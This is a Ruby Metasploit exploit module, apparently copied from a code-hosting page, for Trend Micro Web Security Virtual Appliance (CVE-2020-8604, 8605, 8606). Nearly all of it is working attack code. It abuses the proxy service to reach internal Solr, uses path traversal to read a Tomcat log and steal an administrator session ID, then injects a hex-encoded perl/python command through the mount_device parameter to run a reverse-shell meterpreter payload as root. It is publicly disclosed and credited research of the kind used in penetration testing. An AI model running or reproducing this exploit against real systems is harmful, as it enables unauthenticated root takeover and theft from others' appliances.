168 lines
5.5 KiB
Ruby
168 lines
5.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Trend Micro Web Security (Virtual Appliance) Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits multiple vulnerabilities together in order to achive a remote code execution.
|
|
Unauthenticated users can execute a terminal command under the context of the root user.
|
|
|
|
The specific flaw exists within the LogSettingHandler class of administrator interface software.
|
|
When parsing the mount_device parameter, the process does not properly validate a user-supplied string
|
|
before using it to execute a system call. An attacker can leverage this vulnerability to execute code in
|
|
the context of root. But authentication is required to exploit this vulnerability.
|
|
|
|
Another specific flaw exist within the proxy service, which listens on port 8080 by default. Unauthenticated users
|
|
can exploit this vulnerability in order to communicate with internal services in the product.
|
|
|
|
Last but not least flaw exists within the Apache Solr application, which is installed within the product.
|
|
When parsing the file parameter, the process does not properly validate a user-supplied path prior to using it in file operations.
|
|
An attacker can leverage this vulnerability to disclose information in the context of IWSS user.
|
|
|
|
Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the root user.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Mehmet Ince <mehmet@mehmetince.net>' # discovery & msf module
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2020-8604'],
|
|
['CVE', '2020-8605'],
|
|
['CVE', '2020-8606'],
|
|
['ZDI', '20-676'],
|
|
['ZDI', '20-677'],
|
|
['ZDI', '20-678']
|
|
],
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{
|
|
'SSL' => true,
|
|
'payload' => 'python/meterpreter/reverse_tcp',
|
|
'WfsDelay' => 30
|
|
},
|
|
'Platform' => ['python'],
|
|
'Arch' => ARCH_PYTHON,
|
|
'Targets' => [ ['Automatic', {}] ],
|
|
'DisclosureDate' => '2020-06-10',
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8443),
|
|
OptInt.new('PROXY_PORT', [true, 'Port number of Trend Micro Web Filter Proxy service', 8080])
|
|
]
|
|
)
|
|
end
|
|
|
|
def target_unreachable(res)
|
|
unless res
|
|
fail_with(Failure::Unreachable, 'Target is unreachable.')
|
|
end
|
|
end
|
|
|
|
def leak_logfile
|
|
# Updating SSL and RPORT in order to communicate with HTTP proxy service.
|
|
if datastore['SSL']
|
|
ssl_restore = true
|
|
datastore['SSL'] = false
|
|
end
|
|
port_restore = datastore['RPORT']
|
|
datastore['RPORT'] = datastore['PROXY_PORT']
|
|
|
|
vprint_status('Trying to extract session ID by exploiting reverse proxy service')
|
|
|
|
@res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => "http://#{datastore['RHOST']}:8983/solr/collection0/replication",
|
|
'vars_get' => {
|
|
'command' => 'filecontent',
|
|
'wt' => 'filestream',
|
|
'generation' => 1,
|
|
'file' => "../"*7 << "var/iwss/tomcat/logs/catalina.out",
|
|
}
|
|
})
|
|
target_unreachable(@res)
|
|
vprint_good('Successfully exploited reverse proxy service !')
|
|
# Restore variables and validate extracted sessionid
|
|
datastore['SSL'] = true if ssl_restore
|
|
datastore['RPORT'] = port_restore
|
|
@res
|
|
end
|
|
|
|
def extract_cookie
|
|
|
|
@jsessionid = @res.body.scan(/JSESSIONID=(.*)/).flatten.last || ''
|
|
|
|
if @jsessionid.empty?
|
|
fail_with(Failure::UnexpectedReply, 'There is no JSESSIONID in log file.')
|
|
end
|
|
|
|
print_good("Latest session id is successfully extracted : #{@jsessionid}")
|
|
|
|
# Validate session
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri('rest', 'commonlog', 'get_sessionID'),
|
|
'cookie' => "JSESSIONID=#{@jsessionid}"
|
|
})
|
|
|
|
target_unreachable(res)
|
|
|
|
unless res.code == 200
|
|
fail_with(Failure::NoAccess, 'Extracted cookie is not valid. Wait for sysadmin to login !')
|
|
end
|
|
@jsessionid
|
|
end
|
|
|
|
def check
|
|
leak_logfile
|
|
unless @res.code == 200
|
|
Exploit::CheckCode::Safe
|
|
else
|
|
Exploit::CheckCode::Vulnerable
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
|
|
unless check == CheckCode::Vulnerable
|
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
|
end
|
|
|
|
|
|
print_status('Exploiting command injection vulnerability')
|
|
|
|
# Yet another app specific bypass is going on here.
|
|
# It's so buggy to make the cmd payloads work under the following circumstances (Weak blacklisting, double escaping etc)
|
|
# For that reason, I am planting our payload dropper within the perl command.
|
|
|
|
cmd = "python -c \"#{payload.encoded}\""
|
|
final_payload = cmd.to_s.unpack("H*").first
|
|
p = "perl -e 'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"
|
|
|
|
vars_post = {
|
|
mount_device: "mount $(#{p}) /var/offload",
|
|
cmd: 'mount'
|
|
}
|
|
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'rest', 'commonlog', 'log_setting', 'mount_device'),
|
|
'cookie' => "JSESSIONID=#{extract_cookie}",
|
|
'ctype' => 'application/json',
|
|
'data' => vars_post.to_json
|
|
})
|
|
end
|
|
end
|